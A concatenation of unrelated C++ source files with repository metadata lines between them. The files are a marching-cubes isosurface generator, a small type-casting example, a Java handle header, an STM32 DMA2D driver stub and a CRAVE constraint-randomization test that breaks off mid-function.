1100; v 2,3,6,7 (case 8) {0, 8, 7, 0, 7, 1, 1, 7, 5, -1, -1, -1, -1, -1, -1, -1}, // 1100 1101; v -1,-4,-5(case -5) {9, 0, 3, 9, 3, 5, 5, 3, 7, -1, -1, -1, -1, -1, -1, -1}, // 1100 1110; v -0,-4,-5(case -5) {9, 8, 7, 5, 9, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1100 1111; v -4,-5 (case -2) {5, 8, 4, 5, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1}, // 1101 0000; v 4,6,7 (case 5) {5, 0, 4, 5, 11, 0, 5, 10, 11, 11, 3, 0, -1, -1, -1, -1}, // 1101 0001; v 0,4,6,7 (case 14) {0, 1, 9, 8, 4, 10, 8, 10, 11, 10, 4, 5, -1, -1, -1, -1}, // 1101 0010; v 1,4,6,7 (case 12) //{10, 11, 4, 10, 4, 5, 11, 3, 4, 9, 4, 1, 3, 1, 4, -1}, // 1101 0011; v -2,-3,-5(case -6) {9, 4, 5, 10, 11, 3, 10, 3, 1, -1, -1, -1, -1, -1, -1, -1}, // 1101 0011; v -2,-3,-5(case -6) {2, 5, 1, 2, 8, 5, 2, 11, 8, 4, 5, 8, -1, -1, -1, -1}, // 1101 0100; v 2,4,6,7 (case 11) //{0, 4, 11, 0, 11, 3, 4, 5, 11, 2, 11, 1, 5, 1, 11, -1}, // 1101 0101; v -1,-3,-5(case -6) {11, 3, 2, 0, 4, 5, 0, 5, 1, -1, -1, -1, -1, -1, -1, -1}, // 1101 0101; v -1,-3,-5(case -6) //{0, 2, 5, 0, 5, 9, 2, 11, 5, 4, 5, 8, 11, 8, 5, -1}, // 1101 0110; v -0,-3,-5(case -6) {9, 4, 5, 2, 11, 8, 0, 2, 8, -1, -1, -1, -1, -1, -1, -1}, // 1101 0110; v -0,-3,-5(case -6) {9, 4, 5, 2, 11, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1101 0111; v -3,-5 (case -4) {2, 5, 10, 3, 5, 2, 3, 4, 5, 3, 8, 4, -1, -1, -1, -1}, // 1101 1000; v 3,4,6,7 (case 9) {5, 10, 2, 5, 2, 4, 4, 2, 0, -1, -1, -1, -1, -1, -1, -1}, // 1101 1001; v -1,-2,-5(case -5) //{3, 10, 2, 3, 5, 10, 3, 8, 5, 4, 5, 8, 0, 1, 9, -1}, // 1101 1010; v -0,-2,-5(case -7) {3, 8, 0, 1, 10, 2, 9, 4, 5, -1, -1, -1, -1, -1, -1, -1}, // 1101 1010; v -0,-2,-5(case -7) //{5, 10, 2, 5, 2, 4, 1, 9, 2, 9, 4, 2, -1, -1, -1, -1}, // 1101 1011; v -2,-5 (case -3) {1, 10, 2, 9, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1101 1011; v -2,-5 (case -3) {8, 4, 5, 8, 5, 3, 3, 5, 1, -1, -1, -1, -1, -1, -1, -1}, // 1101 1100; v -0,-1,-5(case -5) {0, 4, 5, 1, 0, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1101 1101; v -1,-5 (case -2) //{8, 4, 5, 8, 5, 3, 9, 0, 5, 0, 3, 5, -1, -1, -1, -1}, // 1101 1110; v -0,-5 (case -3) {3, 8, 0, 9, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1101 1110; v -0,-5 (case -3) {9, 4, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1101 1111; v -5 (case -1) {4, 11, 7, 4, 9, 11, 9, 10, 11, -1, -1, -1, -1, -1, -1, -1}, // 1110 0000; v 5,6,7 (case 5) {0, 8, 3, 4, 9, 7, 9, 11, 7, 9, 10, 11, -1, -1, -1, -1}, // 1110 0001; v 0,5,6,7 (case 12) {1, 10, 11, 1, 11, 4, 1, 4, 0, 7, 4, 11, -1, -1, -1, -1}, // 1110 0010; v 1,5,6,7 (case 11) //{3, 1, 4, 3, 4, 8, 1, 10, 4, 7, 4, 11, 10, 11, 4, -1}, // 1110 0011; v -2,-3,-4(case -6) {8, 7, 4, 10, 11, 3, 10, 3, 1, -1, -1, -1, -1, -1, -1, -1}, // 1110 0011; v -2,-3,-4(case -6) {4, 11, 7, 9, 11, 4, 9, 2, 11, 9, 1, 2, -1, -1, -1, -1}, // 1110 0100; v 2,5,6,7 (case 9) //{9, 7, 4, 9, 11, 7, 9, 1, 11, 2, 11, 1, 0, 8, 3, -1}, // 1110 0101; v -1,-3,-4(case -7) {0, 9, 1, 11, 3, 2, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1}, // 1110 0101; v -1,-3,-4(case -7) {11, 7, 4, 11, 4, 2, 2, 4, 0, -1, -1, -1, -1, -1, -1, -1}, // 1110 0110; v -0,-3,-4(case -5) //{11, 7, 4, 11, 4, 2, 8, 3, 4, 3, 2, 4, -1, -1, -1, -1}, // 1110 0111; v -3,-4 (case -3) {11, 3, 2, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1110 0111; v -3,-4 (case -3) {2, 9, 10, 2, 7, 9, 2, 3, 7, 7, 4, 9, -1, -1, -1, -1}, // 1110 1000; v 3,5,6,7 (case 14) //{9, 10, 7, 9, 7, 4, 10, 2, 7, 8, 7, 0, 2, 0, 7, -1}, // 1110 1001; v -1,-2,-4(case -6) {8, 7, 4, 9, 10, 2, 9, 2, 0, -1, -1, -1, -1, -1, -1, -1}, // 1110 1001; v -1,-2,-4(case -6) //{3, 7, 10, 3, 10, 2, 7, 4, 10, 1, 10, 0, 4, 0, 10, -1}, // 1110 1010; v -0,-2,-4(case -6) {10, 2, 1, 0, 3, 7, 0, 7, 4, -1, -1, -1, -1, -1, -1, -1}, // 1110 1010; v -0,-2,-4(case -6) {1, 10, 2, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1110 1011; v -2,-4 (case -4) {4, 9, 1, 4, 1, 7, 7, 1, 3, -1, -1, -1, -1, -1, -1, -1}, // 1110 1100; v -0,-1,-4(case -5) //{4, 9, 1, 4, 1, 7, 0, 8, 1, 8, 7, 1, -1, -1, -1, -1}, // 1110 1101; v -1,-4 (case -3) {0, 9, 1, 8, 7, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1110 1101; v -1,-4 (case -3) {4, 0, 3, 7, 4, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1110 1110; v -0,-4 (case -2) {4, 8, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1110 1111; v -4 (case -1) {9, 10, 8, 10, 11, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 0000; v 4,5,6,7 (case 8) {3, 0, 9, 3, 9, 11, 11, 9, 10, -1, -1, -1, -1, -1, -1, -1}, // 1111 0001; v -1,-2,-3(case -5) {0, 1, 10, 0, 10, 8, 8, 10, 11, -1, -1, -1, -1, -1, -1, -1}, // 1111 0010; v -0,-2,-3(case -5) {3, 1, 10, 11, 3, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 0011; v -2,-3 (case -2) {1, 2, 11, 1, 11, 9, 9, 11, 8, -1, -1, -1, -1, -1, -1, -1}, // 1111 0100; v -0,-1,-3(case -5) //{3, 0, 9, 3, 9, 11, 1, 2, 9, 2, 11, 9, -1, -1, -1, -1}, // 1111 0101; v -1,-3 (case -3) {0, 9, 1, 11, 3, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 0101; v -1,-3 (case -3) {0, 2, 11, 8, 0, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 0110; v -0,-3 (case -2) {3, 2, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 0111; v -3 (case -1) {2, 3, 8, 2, 8, 10, 10, 8, 9, -1, -1, -1, -1, -1, -1, -1}, // 1111 1000; v -0,-1,-2(case -5) {9, 10, 2, 0, 9, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1001; v -1,-2 (case -2) //{2, 3, 8, 2, 8, 10, 0, 1, 8, 1, 10, 8, -1, -1, -1, -1}, // 1111 1010; v -0,-2 (case -3) {3, 8, 0, 10, 2, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1010; v -0,-2 (case -3) {1, 10, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1011; v -2 (case -1) {1, 3, 8, 9, 1, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1100; v -0,-1 (case -2) {0, 9, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1101; v -1 (case -1) {0, 3, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}, // 1111 1110; v -0 (case -1) {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1} // 1111 1111; all (case 0) }; //*/ template <class T> IsoSurface<T>::IsoSurface() : iCellsX(0), iCellsY(0), iCellsZ(0), iCellLengthX(0), iCellLengthY(0), iCellLengthZ(0), iScalarField(NULL), iIsoLevel(0), iValidSurface(false) { } template <class T> IsoSurface<T>::~IsoSurface() { this->deleteSurface(); } template <class T> void IsoSurface<T>::generateSurface(const T* scalarField, T isoLevel, uint cellsX, uint cellsY, uint cellsZ, double cellLengthX, double cellLengthY, double cellLengthZ) { if(this->iValidSurface) { this->deleteSurface(); } this->iCellsX = cellsX; this->iCellsY = cellsY; this->iCellsZ = cellsZ; this->iCellLengthX = cellLengthX; this->iCellLengthY = cellLengthY; this->iCellLengthZ = cellLengthZ; this->iScalarField = scalarField; this->iIsoLevel = isoLevel; uint ptsInXDir = this->iCellsX + 1; uint ptsInSlice = ptsInXDir * (this->iCellsY + 1); // Generate isosurface. for(uint z = 0; z < this->iCellsZ; ++z) { for(uint y = 0; y < this->iCellsY; ++y) { for(uint x = 0; x < this->iCellsX; ++x) { // Calculate table lookup index from those vertices which are below the isolevel. uint tableIndex = 0; if(this->iScalarField[z * ptsInSlice + y * ptsInXDir + x] < this->iIsoLevel) { tableIndex |= 1; } if(this->iScalarField[z * ptsInSlice + (y + 1) * ptsInXDir + x] < this->iIsoLevel) { tableIndex |= 2; } if(this->iScalarField[z * ptsInSlice + (y + 1) * ptsInXDir + (x + 1)] < this->iIsoLevel) { tableIndex |= 4; } if(this->iScalarField[z * ptsInSlice + y * ptsInXDir + (x + 1)] < this->iIsoLevel) { tableIndex |= 8; } if(this->iScalarField[(z + 1) * ptsInSlice + y * ptsInXDir + x] < this->iIsoLevel) { tableIndex |= 16; } if(this->iScalarField[(z + 1) * ptsInSlice + (y + 1) * ptsInXDir + x] < this->iIsoLevel) { tableIndex |= 32; } if(this->iScalarField[(z + 1) * ptsInSlice + (y + 1) * ptsInXDir + (x + 1)] < this->iIsoLevel) { tableIndex |= 64; } if(this->iScalarField[(z + 1) * ptsInSlice + y * ptsInXDir + (x + 1)] < this->iIsoLevel) { tableIndex |= 128; } // Now create a triangulation of the isosurface in this cell. if(this->iEdgeTable[tableIndex] != 0) { if(this->iEdgeTable[tableIndex] & 8) // edge 3 { uint id = this->getEdgeId(x, y, z, 3); Point3dId pt = this->calculateIntersection(x, y, z, 3); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(this->iEdgeTable[tableIndex] & 1) // edge 0 { uint id = this->getEdgeId(x, y, z, 0); Point3dId pt = this->calculateIntersection(x, y, z, 0); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(this->iEdgeTable[tableIndex] & 256) // edge 8 { uint id = this->getEdgeId(x, y, z, 8); Point3dId pt = this->calculateIntersection(x, y, z, 8); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(x == this->iCellsX - 1) { if(this->iEdgeTable[tableIndex] & 4) // edge 2 { uint id = this->getEdgeId(x, y, z, 2); Point3dId pt = this->calculateIntersection(x, y, z, 2); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(this->iEdgeTable[tableIndex] & 2048) // edge 11 { Point3dId pt = this->calculateIntersection(x, y, z, 11); uint id = this->getEdgeId(x, y, z, 11); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } if(y == this->iCellsY - 1) { if(this->iEdgeTable[tableIndex] & 2) // edge 1 { uint id = this->getEdgeId(x, y, z, 1); Point3dId pt = this->calculateIntersection(x, y, z, 1); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(this->iEdgeTable[tableIndex] & 512) // edge 9 { uint id = this->getEdgeId(x, y, z, 9); Point3dId pt = this->calculateIntersection(x, y, z, 9); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } if(z == this->iCellsZ - 1) { if(this->iEdgeTable[tableIndex] & 16) // edge 4 { uint id = this->getEdgeId(x, y, z, 4); Point3dId pt = this->calculateIntersection(x, y, z, 4); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } if(this->iEdgeTable[tableIndex] & 128) // edge 7 { uint id = this->getEdgeId(x, y, z, 7); Point3dId pt = this->calculateIntersection(x, y, z, 7); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } if((x == this->iCellsX - 1) && (y == this->iCellsY - 1)) { if(this->iEdgeTable[tableIndex] & 1024) // edge 10 { uint id = this->getEdgeId(x, y, z, 10); Point3dId pt = this->calculateIntersection(x, y, z, 10); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } if((x == this->iCellsX - 1) && (z == this->iCellsZ - 1)) { if(this->iEdgeTable[tableIndex] & 64) // edge 6 { uint id = this->getEdgeId(x, y, z, 6); Point3dId pt = this->calculateIntersection(x, y, z, 6); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } if((y == this->iCellsY - 1) && (z == this->iCellsZ - 1)) { if(this->iEdgeTable[tableIndex] & 32) // edge 5 { uint id = this->getEdgeId(x, y, z, 5); Point3dId pt = this->calculateIntersection(x, y, z, 5); this->iId2Point3dId.insert(Id2Point3dId::value_type(id, pt)); } } for(uint i = 0; this->iTriTable[tableIndex][i] != -1; i += 3) { Triangle triangle; uint pointId0; uint pointId1; uint pointId2; pointId0 = this->getEdgeId(x, y, z, this->iTriTable[tableIndex][i]); pointId1 = this->getEdgeId(x, y, z, this->iTriTable[tableIndex][i + 1]); pointId2 = this->getEdgeId(x, y, z, this->iTriTable[tableIndex][i + 2]); triangle.x = pointId0; triangle.y = pointId1; triangle.z = pointId2; this->iTriangleVec.push_back(triangle); } } } } } this->renameVerticesAndTriangles(); this->calculateNormals(); this->iValidSurface = true; } template <class T> bool IsoSurface<T>::isSurfaceValid() { return this->iValidSurface; } template <class T> void IsoSurface<T>::deleteSurface() { this->iCellsX = 0; this->iCellsY = 0; this->iCellsZ = 0; this->iCellLengthX = 0; this->iCellLengthY = 0; this->iCellLengthZ = 0; this->iVertices.clear(); this->iTriangleIndices.clear(); this->iNormals.clear(); this->iId2Point3dId.clear(); this->iTriangleVec.clear(); this->iScalarField = NULL; this->iIsoLevel = 0; this->iValidSurface = false; } template <class T> int IsoSurface<T>::getVolumeLengths(double& volLengthX, double& volLengthY, double& volLengthZ) { if(this->isSurfaceValid()) { volLengthX = this->iCellLengthX * this->iCellsX; volLengthY = this->iCellLengthY * this->iCellsY; volLengthZ = this->iCellLengthZ * this->iCellsZ; return 1; } else { return -1; } } template <class T> uint IsoSurface<T>::getEdgeId(uint x, uint y, uint z, uint edgeNo) { switch(edgeNo) { case 0: return this->getVertexId(x, y, z) + 1; case 1: return this->getVertexId(x, y + 1, z); case 2: return this->getVertexId(x + 1, y, z) + 1; case 3: return this->getVertexId(x, y, z); case 4: return this->getVertexId(x, y, z + 1) + 1; case 5: return this->getVertexId(x, y + 1, z + 1); case 6: return this->getVertexId(x + 1, y, z + 1) + 1; case 7: return this->getVertexId(x, y, z + 1); case 8: return this->getVertexId(x, y, z) + 2; case 9: return this->getVertexId(x, y + 1, z) + 2; case 10: return this->getVertexId(x + 1, y + 1, z) + 2; case 11: return this->getVertexId(x + 1, y, z) + 2; default: // Invalid edge no. return -1; } } template <class T> uint IsoSurface<T>::getVertexId(uint x, uint y, uint z) { return 3 * (z * (this->iCellsY + 1) * (this->iCellsX + 1) + y * (this->iCellsX + 1) + x); } template <class T> Point3dId IsoSurface<T>::calculateIntersection(uint x, uint y, uint z, uint edgeNo) { cv::Point3d pt1; cv::Point3d pt2; uint v1x = x; uint v1y = y; uint v1z = z; uint v2x = x; uint v2y = y; uint v2z = z; switch(edgeNo) { case 0: v2y += 1; break; case 1: v1y += 1; v2x += 1; v2y += 1; break; case 2: v1x += 1; v1y += 1; v2x += 1; break; case 3: v1x += 1; break; case 4: v1z += 1; v2y += 1; v2z += 1; break; case 5: v1y += 1; v1z += 1; v2x += 1; v2y += 1; v2z += 1; break; case 6: v1x += 1; v1y += 1; v1z += 1; v2x += 1; v2z += 1; break; case 7: v1x += 1; v1z += 1; v2z += 1; break; case 8: v2z += 1; break; case 9: v1y += 1; v2y += 1; v2z += 1; break; case 10: v1x += 1; v1y += 1; v2x += 1; v2y += 1; v2z += 1; break; case 11: v1x += 1; v2x += 1; v2z += 1; break; } pt1.x = v1x * this->iCellLengthX; pt1.y = v1y * this->iCellLengthY; pt1.z = v1z * this->iCellLengthZ; pt2.x = v2x * this->iCellLengthX; pt2.y = v2y * this->iCellLengthY; pt2.z = v2z * this->iCellLengthZ; uint ptsInXDir = (this->iCellsX + 1); uint ptsInSlice = ptsInXDir * (this->iCellsY + 1); T val1 = this->iScalarField[v1z * ptsInSlice + v1y * ptsInXDir + v1x]; T val2 = this->iScalarField[v2z * ptsInSlice + v2y * ptsInXDir + v2x]; Point3dId intersection = this->interpolate(pt1, pt2, val1, val2); return intersection; } template <class T> Point3dId IsoSurface<T>::interpolate(const cv::Point3d& point1, const cv::Point3d& point2, T val1, T val2) { Point3dId interpolation; interpolation.iId = 0; double mu = double(this->iIsoLevel - val1) / (val2 - val1); interpolation.iPt = point1 + (point2 - point1) * mu; return interpolation; } template <class T> void IsoSurface<T>::renameVerticesAndTriangles() { // Rename vertices. uint nextId = 0; this->iVertices.clear(); for(Id2Point3dId::iterator mapIter = this->iId2Point3dId.begin(); mapIter != this->iId2Point3dId.end(); ++mapIter) { this->iVertices.push_back(mapIter->second.iPt); mapIter->second.iId = nextId; ++nextId; } // Now rename triangles. Triangle triangle; this->iTriangleIndices.clear(); for(TriangleVec::iterator triIter = this->iTriangleVec.begin(); triIter != this->iTriangleVec.end(); ++triIter) { triangle.x = this->iId2Point3dId[triIter->x].iId; triangle.y = this->iId2Point3dId[triIter->y].iId; triangle.z = this->iId2Point3dId[triIter->z].iId; this->iTriangleIndices.push_back(triangle); } this->iId2Point3dId.clear(); this->iTriangleVec.clear(); } template <class T> void IsoSurface<T>::calculateNormals() { cv::Point3d normal(0, 0, 0); this->iNormals.clear(); for(uint idx = 0; idx < this->iVertices.size(); ++idx) { this->iNormals.push_back(normal); } // Calculate normals. cv::Point3d vec1; cv::Point3d vec2; Triangle triangle; for(TriangleVec::iterator triIter = this->iTriangleIndices.begin(); triIter != this->iTriangleIndices.end(); ++triIter) { uint id0 = triIter->x; uint id1 = triIter->y; uint id2 = triIter->z; vec1 = this->iVertices[id1] - this->iVertices[id0]; vec2 = this->iVertices[id2] - this->iVertices[id0]; normal = vec2.cross(vec1); this->iNormals[id0] += normal; this->iNormals[id1] += normal; this->iNormals[id2] += normal; } // Normalize normals. for(std::vector<cv::Point3d>::iterator normIter = this->iNormals.begin(); normIter != this->iNormals.end(); ++normIter) { double length = cv::norm(*normIter); normIter->x /= length; normIter->y /= length; normIter->z /= length; } } // return the isosurface vertices // return value: number of vertices template <class T> int IsoSurface<T>::getVertices(std::vector<cv::Point3d>& vertexList) { vertexList.clear(); for(std::vector<cv::Point3d>::iterator ptIter = this->iVertices.begin(); ptIter != this->iVertices.end(); ++ptIter) { vertexList.push_back(*ptIter); } return this->iVertices.size(); } // return the isosurface triangles // return value: number of triangles template <class T> int IsoSurface<T>::getTriangles(TriangleVec& triangleList) { triangleList.clear(); for(TriangleVec::iterator triIter = this->iTriangleIndices.begin(); triIter != this->iTriangleIndices.end(); ++triIter) { triangleList.push_back(*triIter); } return this->iTriangleIndices.size(); } // return the isosurface normals // return value: number of normals template <class T> int IsoSurface<T>::getNormals(std::vector<cv::Point3d>& normalList) { normalList.clear(); for(std::vector<cv::Point3d>::iterator normIter = this->iNormals.begin(); normIter != this->iNormals.end(); ++normIter) { normalList.push_back(*normIter); } return this->iNormals.size(); } // return this->iCellsX template <class T> uint IsoSurface<T>::getCellsX() const { return this->iCellsX; } // return this->iCellsY template <class T> uint IsoSurface<T>::getCellsY() const { return this->iCellsY; } // return this->iCellsZ template <class T> uint IsoSurface<T>::getCellsZ() const { return this->iCellsZ; } // return this->iCellLengthX template <class T> double IsoSurface<T>::getCellLengthX() const { return this->iCellLengthX; } // return this->iCellLengthY template <class T> double IsoSurface<T>::getCellLengthY() const { return this->iCellLengthY; } // return this->iCellLengthZ template <class T> double IsoSurface<T>::getCellLengthZ() const { return this->iCellLengthZ; } // returns this->iScalarField template <class T> const T* IsoSurface<T>::getScalarField() const { return this->iScalarField; } // return this->iIsoLevel template <class T> T IsoSurface<T>::getIsoLevel() const { return this->iIsoLevel; } template class IsoSurface<short>; template class IsoSurface<unsigned short>; template class IsoSurface<int>; template class IsoSurface<unsigned int>; template class IsoSurface<float>; template class IsoSurface<double>; }
199f543425daa8c6bf6c272ccfa3732390a6a228
d54259e11b684c4124723376c1485b99e387a5e0
/Revision_exercise/chapter4/ImplicitCasting.cpp
b8630585f2985bf0b6b39df3b9ce6bcb22e5c96b
[]
no_license
Saurabh-12/learn_cpp
754e5f1efdfe021beaf7425f9b1592cae58fd19e
805c0b2131481ac14bd1510868a638040ae1e605
refs/heads/master
2022-03-06T12:39:44.456471
2022-02-28T17:16:58
2022-02-28T17:16:58
116,156,269
0
0
null
null
null
null
UTF-8
C++
false
false
385
cpp
ImplicitCasting.cpp
#include<iostream> #include<typeinfo> int main() { //auto type casting or implicit typecasting short a(4); short b(5); std::cout << typeid(a + b).name() << " " << a + b << std::endl; // show us the type of a + b double d(4.0); short s(2); std::cout << typeid(d + s).name() << " " << d + s << std::endl; // show us the type of d + s return 0; }
dbbd9aff928e2c64dfe5416a5506fd89cffe5091
fea779942fbbe4e3c03cb9bc78b0a99e56cb17e5
/cpp/m4java/inc/m4jhandledata.hpp
4d7ce2cecba696141e57072912c60cf32897d285
[]
no_license
jesuscraf/peopletech
66e372af07f9a3dd4660ef14b93daddf92a5e3c8
3ab9470cf2e7cb7a44baf4185710cb707f081ff4
refs/heads/master
2021-09-03T13:37:13.701453
2018-01-09T11:49:34
2018-01-09T11:49:34
114,750,048
0
0
null
null
null
null
WINDOWS-1250
C++
false
false
1,592
hpp
m4jhandledata.hpp
//============================================================================== // // (c) Copyright 1991-2015 Meta Software M.S., S.A // All rights reserved. // // Module: m4java.dll // File: m4jhandledata.hpp // Project: mind3.x // Author: Meta Software M.S. , S.A // Date: 21-01-2015 // Language: C++ // Operating System: WINDOWS // Design Document: XXX.DOC // // // Definition: // // This module defines a class for java object handle data. // // //============================================================================== #include "m4java_dll.hpp" #include "m4types.hpp" class M4JavaContext ; #ifndef __M4JHANDLEDATA_HPP__ #define __M4JHANDLEDATA_HPP__ //================================================================================= // // M4JavaHandleData // // Clase que define los datos asociados a un handle de objeto java // //================================================================================= class M4_DECL_M4JAVA M4JavaHandleData { protected: m4pchar_t m_pcClassName ; M4JavaContext* m_poContext ; public: // Funciones de inicialización ================================================ M4JavaHandleData( m4pcchar_t ai_pccClassName, M4JavaContext *ai_poContext ) ; ~M4JavaHandleData( void ) ; // Funciones de lectura ======================================================= m4pcchar_t GetJavaClassName( void ) const { return( m_pcClassName ) ; } M4JavaContext* GetContext( void ) const { return( m_poContext ) ; } }; #endif
c8defd486307e219e32fcdbb8e770007ff0fcc8f
1e29330fbf4d53cf5dfac6f0290f660647109da7
/yss/drv/dma2d/drv_dma2d_st_type_A.cpp
b9e21c730dbd1494f675c8ce6b92718060bc974d
[]
no_license
bluelife85/yss
2c9807bba61723a6fa578f80edadd9e8d6f9d1a9
1ada1bcc8579bf17e53d6f31525960703ef2f6b9
refs/heads/master
2023-01-16T02:12:26.099052
2020-11-26T01:18:43
2020-11-26T01:18:43
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,802
cpp
drv_dma2d_st_type_A.cpp
//////////////////////////////////////////////////////////////////////////////////////// // // 저작권 표기 License_ver_2.0 // 본 소스코드의 소유권은 yss Embedded Operating System 네이버 카페 관리자와 운영진에게 있습니다. // 운영진이 임의로 코드의 권한을 타인에게 양도할 수 없습니다. // 본 소스코드는 아래 사항에 동의할 경우에 사용 가능합니다. // 아래 사항에 대해 동의하지 않거나 이해하지 못했을 경우 사용을 금합니다. // 본 소스코드를 사용하였다면 아래 사항을 모두 동의하는 것으로 자동 간주 합니다. // 본 소스코드의 상업적 또는 비상업적 이용이 가능합니다. // 본 소스코드의 내용을 임의로 수정하여 재배포하는 행위를 금합니다. // 본 소스코드의 내용을 무단 전재하는 행위를 금합니다. // 본 소스코드의 사용으로 인해 발생하는 모든 사고에 대해서 어떤한 법적 책임을 지지 않습니다. // // Home Page : http://cafe.naver.com/yssoperatingsystem // Copyright 2020. yss Embedded Operating System all right reserved. // // 주담당자 : 아이구 (mymy49@nate.com) 2016.04.30 ~ 현재 // 부담당자 : - // //////////////////////////////////////////////////////////////////////////////////////// #include <drv/peripherals.h> #if defined(DMA2D) && USE_GUI #include <drv/dma2d/drv_st_dma2d_type_A_register.h> #include <__cross_studio_io.h> const unsigned char yssSysFont[1000] = {0,}; static void setClockEn(bool en) { clock.peripheral.setDma2d(en); } static void setIntEn(bool en) { // nvic.setDma2dEn(en); } drv::Dma2d dma2d(DMA2D, setClockEn, setIntEn); namespace drv { unsigned short gDma2dThreadNum; Dma2d::Dma2d(DMA2D_TypeDef *peri, void (*clockFunc)(bool en), void (*nvicFunc)(bool en)) : Drv(clockFunc, nvicFunc) { mFontInfo.size = 0; mFontInfo.yPos = 0; mFontInfo.pointer = 0; mFontInfo.base = 0; } void Dma2d::init(void) { // unsigned long *buf; // buf = (unsigned long*)&yssSysFont[1]; // mFontInfo.size = (FontSize*)&yssSysFont[*buf]; // buf = (unsigned long*)&yssSysFont[5]; // mFontInfo.yPos = (signed char*)&yssSysFont[*buf]; // buf = (unsigned long*)&yssSysFont[9]; // mFontInfo.pointer = (unsigned long*)&yssSysFont[*buf]; // buf = (unsigned long*)&yssSysFont[13]; // mFontInfo.base = (unsigned char*)&yssSysFont[*buf]; // setDma2dTcie(true); } void Dma2d::draw(Object &des, Object &src) { draw(des, src, src.getPos()); } void Dma2d::drawArea(Object &des, Pos areaPos, Size areaSize, Object &src) { drawArea(des, areaPos, areaSize, src, src.getPos()); } extern "C" { void DMA2D_IRQHandler(void) { if(getDma2dTcif()) { // clrDma2dTcif(); // dma2d.unlockThread(); } } } } #endif
23eb0c9851a7859a32688515747e5b524ebf2c97
5e3000d0c82704cd6c6c0eddd1f9a4b693098f4a
/tests/experimental/test_ExperimentalConstraintManagement.cpp
483cd656f227f945d0de74afac5b9788b9f30078
[ "MIT" ]
permissive
pablolevi/crave
ed2b995b2d952c603dbd2da1b4bd7e45b2bc832c
71633b43afb434d08e2433b3ff1fbcfd377620c1
refs/heads/development
2021-06-21T12:03:10.901930
2021-02-17T21:29:48
2021-02-17T21:29:48
189,343,226
0
0
NOASSERTION
2019-06-05T07:18:12
2019-05-30T04:04:07
C++
UTF-8
C++
false
false
2,778
cpp
test_ExperimentalConstraintManagement.cpp
#include <boost/test/unit_test.hpp> #include <crave/experimental/Variable.hpp> #include <crave/experimental/Coverage.hpp> #include <crave/experimental/Constraint.hpp> #include <ostream> using std::ostream; using namespace crave; BOOST_FIXTURE_TEST_SUITE(ConstraintManagement, Context_Fixture) struct Item : public crv_sequence_item { crv_variable<unsigned int> a; crv_variable<unsigned int> b; crv_constraint sum{a() + b() == 4}; crv_constraint product{a() * b() == 4}; crv_constraint range{a() < 10, b() < 10}; crv_constraint x{a() != 2}; Item(crv_object_name) {} friend ostream& operator<<(ostream& os, const Item& it) { os << it.a << " " << it.b; return os; } }; struct Item1 : public crv_sequence_item { Item item = {"Item"}; crv_variable<unsigned int> c; crv_variable<unsigned int> d; crv_constraint eq = {c() == item.a() + 1, d() == item.b() + 1}; Item1(crv_object_name) {} friend ostream& operator<<(ostream& os, const Item1& it) { os << it.c << " " << it.c << " -- " << it.item; return os; } }; BOOST_AUTO_TEST_CASE(test1) { Item it("Item"); BOOST_REQUIRE(!it.randomize()); BOOST_REQUIRE(it.sum.active()); BOOST_REQUIRE(it.product.active()); BOOST_REQUIRE(it.x.active()); it.sum.deactivate(); BOOST_REQUIRE(it.randomize()); BOOST_REQUIRE(!it.sum.active()); BOOST_REQUIRE(it.product.active()); BOOST_REQUIRE(it.x.active()); std::cout << it << std::endl; it.product.deactivate(); BOOST_REQUIRE(it.randomize()); BOOST_REQUIRE(!it.sum.active()); BOOST_REQUIRE(!it.product.active()); BOOST_REQUIRE(it.x.active()); std::cout << it << std::endl; it.sum.activate(); BOOST_REQUIRE(it.randomize()); BOOST_REQUIRE(it.sum.active()); BOOST_REQUIRE(!it.product.active()); BOOST_REQUIRE(it.x.active()); std::cout << it << std::endl; it.product.activate(); BOOST_REQUIRE(!it.randomize()); BOOST_REQUIRE(it.sum.active()); BOOST_REQUIRE(it.product.active()); BOOST_REQUIRE(it.x.active()); 